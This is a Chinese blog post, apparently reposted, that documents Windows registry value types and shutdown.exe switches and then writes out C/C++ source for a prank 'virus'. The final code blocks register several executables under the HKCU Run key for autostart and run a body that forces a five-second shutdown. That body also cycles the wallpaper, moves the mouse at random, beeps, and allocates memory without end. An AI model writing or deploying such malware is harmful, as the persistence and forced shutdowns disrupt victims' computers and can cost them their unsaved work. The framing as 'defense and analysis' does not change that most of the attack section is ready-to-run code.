    指定將被存儲(chǔ)的數(shù)據(jù)類型,該參數(shù)可以為

    REG_BINARY 任何形式的二進(jìn)制數(shù)據(jù) REG_DWORD 一個(gè)32位的數(shù)字 REG_DWORD_LITTLE_ENDIAN 一個(gè)“低字節(jié)在前”格式的32位數(shù)字 REG_DWORD_BIG_ENDIAN 一個(gè)“高字節(jié)在前”格式的32位數(shù)字 REG_EXPAND_SZ 一個(gè)以0結(jié)尾的字符串,該字符串包含對(duì)環(huán)境變量(如“%PAHT”)的未擴(kuò)展引用 REG_LINK 一個(gè)Unicode格式的帶符號(hào)鏈接 REG_MULTI_SZ 一個(gè)以0結(jié)尾的字符串?dāng)?shù)組,該數(shù)組以連接兩個(gè)0為終止符 REG_NONE 未定義值類型 REG_RESOURCE_LIST 一個(gè)設(shè)備驅(qū)動(dòng)器資源列表 REG_SZ 一個(gè)以0結(jié)尾的字符串

    lpData
    指向一個(gè)緩沖區(qū),該緩沖區(qū)包含了欲為指定值名稱存儲(chǔ)的數(shù)據(jù)。

    cbData
    指定由lpData參數(shù)所指向的數(shù)據(jù)的大小,單位是字節(jié)。

    關(guān)機(jī)方法

    Windows 系統(tǒng)自帶一個(gè)名為Shutdown.exe的程序,可以用于關(guān)機(jī)操作(位置在Windows\System32下),一般情況下Windows系統(tǒng)的關(guān)機(jī)都可以通過調(diào)用程序 shutdown.exe來實(shí)現(xiàn)的,同時(shí)該程序也可以用于終止正在計(jì)劃中的關(guān)機(jī)操作。

    shutdown-a 取消關(guān)機(jī) shutdown -s 關(guān)機(jī) shutdown -f 強(qiáng)行關(guān)閉應(yīng)用程序 shutdown -m \\計(jì)算機(jī)名 控制遠(yuǎn)程計(jì)算機(jī) shutdown -i 顯示“遠(yuǎn)程關(guān)機(jī)”圖形用戶界面,但必須是Shutdown的第一個(gè)參數(shù)   shutdown -l 注銷當(dāng)前用戶 shutdown -r 關(guān)機(jī)并重啟 shutdown -s -t 時(shí)間 設(shè)置關(guān)機(jī)倒計(jì)時(shí) shutdown -h 休眠

    實(shí)現(xiàn)

    修改桌面背景代碼

    圖片信息使用了一個(gè)PVOID數(shù)組,并通過一個(gè)for循環(huán)不斷切換桌面背景。

    #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,...(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};SystemParametersInfo(20, true,s, 1) ;for(int i=0;i<10;i++){SystemParametersInfo(20, true,s[i], 1) ;Sleep(1000);//控制時(shí)間間隔}return 0 ; }

    控制鼠標(biāo)代碼

    利用隨機(jī)數(shù)和while死循環(huán)達(dá)到鼠標(biāo)不受控制瘋狂隨機(jī)移動(dòng)的功能。

    #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){POINT sb;srand((unsigned)time(NULL));GetCursorPos (&sb);//獲取鼠標(biāo)坐標(biāo)while(1){SetCursorPos(rand()%1000,rand()%800);//更改鼠標(biāo)坐標(biāo)Sleep(1);//控制移動(dòng)時(shí)間間隔}return 0 ; }

    開機(jī)自啟動(dòng)代碼

    ret = RegSetValueEx(hkey,_T("新加項(xiàng)名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);

    第二個(gè)參數(shù)是項(xiàng)名稱,第五個(gè)參數(shù)是要開機(jī)啟動(dòng)程序的路徑位置,最后一個(gè)參數(shù)是第五個(gè)參數(shù)路徑字符長(zhǎng)度。

    #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){HKEY hkey ;//計(jì)算機(jī)\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("新加項(xiàng)名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主if(ret==ERROR_SUCCESS){// 寫入成功}else {// 寫入失敗cout << "Write filed !" ;}}else {// 注冊(cè)表打開失敗cout << "Read error !" << endl ;} return 0 ; }

    關(guān)機(jī)代碼

    這個(gè)功能實(shí)現(xiàn)比較簡(jiǎn)單。

    #include<stdio.h> #include<windows.h>int main(){// 五秒關(guān)機(jī)system("shutdown -s -t 5");return 0 ; }

    代碼

    注冊(cè)程序,將病毒主體加入開機(jī)自啟動(dòng)

    #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){HKEY hkey ;//計(jì)算機(jī)\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunTCHAR p[64] ;long ret;ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);if(ret==ERROR_SUCCESS){ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要?jiǎng)幼鱮et = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監(jiān)控實(shí)時(shí)變化if(ret==ERROR_SUCCESS){// 寫入成功}else {// 寫入失敗cout << "Write filed !" ;}}else {cout << "Read error !" << endl ;}return 0 ; }

    病毒主體,在上方代碼實(shí)現(xiàn)開機(jī)自啟動(dòng)之后,這段代碼可以不斷修改壁紙,控制鼠標(biāo)以及關(guān)機(jī)。

    #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ;int main(){POINT sb;PVOID s[10] = {(PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,(PVOID)"D:\\windows\\system32\\bin\\background9.jpg"};srand((unsigned)time(NULL));system("shutdown -s -t 5");SystemParametersInfo(20, true,s, 1) ;GetCursorPos (&sb);//獲取鼠標(biāo)坐標(biāo)int i = 0 ;while(1){int *p = (int*)malloc(10000000000) ;printf("\a");SystemParametersInfo(20, true,s[i], 1) ;if(i>=9){i = 0 ;}SetCursorPos(rand()%1000,rand()%800);//更改鼠標(biāo)坐標(biāo)Sleep(1);//控制移動(dòng)時(shí)間間隔}return 0 ; }

    參考 : Github

    轉(zhuǎn)載于:https://www.cnblogs.com/LexMoon/p/bdsz.html

    總結(jié)

    以上是生活随笔為你收集整理的病毒木马防御与分析实战的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。